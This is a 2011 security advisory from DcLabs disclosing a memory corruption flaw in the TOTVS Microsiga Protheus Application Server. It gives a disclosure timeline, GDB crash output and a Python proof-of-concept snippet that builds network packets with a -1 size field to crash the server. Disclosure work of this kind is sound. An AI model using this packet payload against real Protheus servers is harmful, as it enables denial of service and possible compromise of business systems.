[DCA-2011-0010]


[Discussion]
- DcLabs Security Research Group advises about following vulnerability(ies):

[Software]
- TOTVS ERP Microsiga Protheus (Application Server)

[Vendor Product Description]
- Software de Gestão - TOTVS
- TOTVS is a software company, innovation, relationship and support
management, the absolute leader in Brazil with 49.1% market share, and
also in Latin America with 31.2% *, is the largest software company
applications based in emerging countries and the 7th largest in the world
setor.Tem more than 25,200 active clients, has the support of 9000
Participants and is present in 23 countries.
Value Proposition
Make the company more competitive with faster decision
offering solutions that organize, regulate, define and enforce
processes, store data, generate information and assist management.
- Source: http://totvs.com.br/web/guest/software (Translated using
Google Translator)

[Advisory Timeline]
- 10/Mar/2011 -> Vendor notified.
- 22/Mar/2011 -> Vendor asks for more information.
- 22/Mar/2011 -> Information and PoC sent
- 24/Mar/2011 -> Vendor accepts vulnerability and ask to postpone
publication date.
- 24/Mar/2011 -> Publication date agreed to 10/Apr/2011
- 07/Apr/2011 -> Vendor releases a new version addressing the flaw.
- 12/Apr/2011 -> Advisory published.


[Bug Summary]
- Memory Corruption (likely code execution)

[Impact]
- Medium/High

[Affected Version]
- Microsiga Protheus 8 (20081215030344)
- Microsiga Protheus 10 (20100812040605)
- Other versions can also be affected but weren't tested.

[Bug Description and Proof of Concept]
+ Memory Corruption
Apparently application server uses an user controled value as "size"
parameter to a "memmove()" function, therefore we have control of
number of bytes being moved. If we use a huge value we can lead
application to overwrite EIP and cause a Denial of Service.

--- GDB OUTPUT BEGIN ---
# gdb -p 12748
Attaching to process 12748
Reading symbols from
/microsiga/protheus10/bin/appserver/totvssrvlinux...(no debugging
symbols found)...done.
--- snippet output ---

warning: Lowest section in system-supplied DSO at 0xffffe000 is .hash
at ffffe0b4
0xffffe410 in __kernel_vsyscall ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 4117961632 (LWP 12775)]
0x6b035205 in ?? ()
(gdb) bt
#0  0x6b035205 in ?? ()
#1  0x080917ed in pthread_equal ()
#2  0x08bd7389 in ?? ()
#3  0x08c04398 in ?? ()
#4  0x08ba2c21 in ?? ()
#5  0x08ba3a88 in ?? ()
#6  0x08ba3c1f in ?? ()
#7  0x08bcda16 in ?? ()
#8  0x08091c4b in pthread_equal ()
#9  0x08b85239 in ?? ()
#10 0x08b856d6 in ?? ()
#11 0xf7ef22ab in start_thread () from /lib/libpthread.so.0
#12 0xf7e59dbe in clone () from /lib/libc.so.6
(gdb) x/10i $eip
0x6b035205:     Cannot access memory at address 0x6b035205
(gdb) i r
eax            0xbee7780        200177536
ecx            0x2      2
edx            0x1      1
ebx            0xf57306d0       -177010992
esp            0xf57306ac       0xf57306ac
ebp            0xf5730708       0xf5730708
esi            0xf57306d8       -177010984
edi            0x6315   25365
eip            0x6b035205       0x6b035205
eflags         0x10283  [ CF SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) quit
--- GDB OUTPUT END ---

We clearly overwrote EIP register, pointing it to a nonsense location.

Here is a snippet of a python exploit:

--- CODE SNIPPET BEGIN ---
if options.target == 8:
      version = "20081215030344"
else:
      version = "20100812040605"

packet_handshake = (
      "%14s"
      "\x00\x01"
      "%36s\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "%32s\x00"
      "%s\x00"
      "\x00\x00\x14\x01"
) % ("A"*14, "B"*36, "C"*32, version)

packet_environ = (
      "\x42\x00\x00\x00\x21\xab\x42\x00\x00\x00"
      "\xff\xff\xff\xff" # Memory Corruption (-1 as size)
#      "\x38\x00\x00\x00" # OK (56 bytes)
      "\x01\x00\x3e\x82\x01\x03\x02\x04\x00\x00"
      "\x00\x00%7s\x00\x00\x00\x00\x00\x00"
      "%11s\x00\x00\x00\x00\x00\x00"
      "\x01\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00"
) % ("D"*7, "E"*11)
--- CODE SNIPPET END ---

--- GDB OUTPUT BEGIN ---
(gdb) print /d (int)0x00000038
$4 = 56
(gdb) print /d (unsigned int)0x00000038
$5 = 56
(gdb) print /d (int)0xffffffff
$6 = -1
(gdb) print /d (unsigned int)0xffffffff
$7 = 4294967295
--- GDB OUTPUT END ---

* I didn't get deep this flaw, but I believe that it could lead to a
Remote Command Execution (perhaps using a heap-spray) and once
Protheus Application Server runs as super user (root) it means full
server compromised.


----------------------------------------------------------------------------------------

All flaws described here were discovered and researched by:
Flávio do Carmo Júnior aka waKKu.
DcLabs Security Research Group
carmo.flavio <AT> dclabs <DOT> com <DOT> br

[Solution / Workarounds]
- A new version addressing this flaw is available under customers
portal website since 07/Apr and is recommended to update.

[Credits]
DcLabs Security Research Group.

-- 
--
Atenciosamente,

Flávio do Carmo Júnior aka waKKu @ DcLabs
Florianópolis/SC
http://br.linkedin.com/in/carmoflavio
http://0xcd80.wordpress.com



-- 
--
Atenciosamente,

Flávio do Carmo Júnior
Florianópolis/SC
http://br.linkedin.com/in/carmoflavio
http://0xcd80.wordpress.com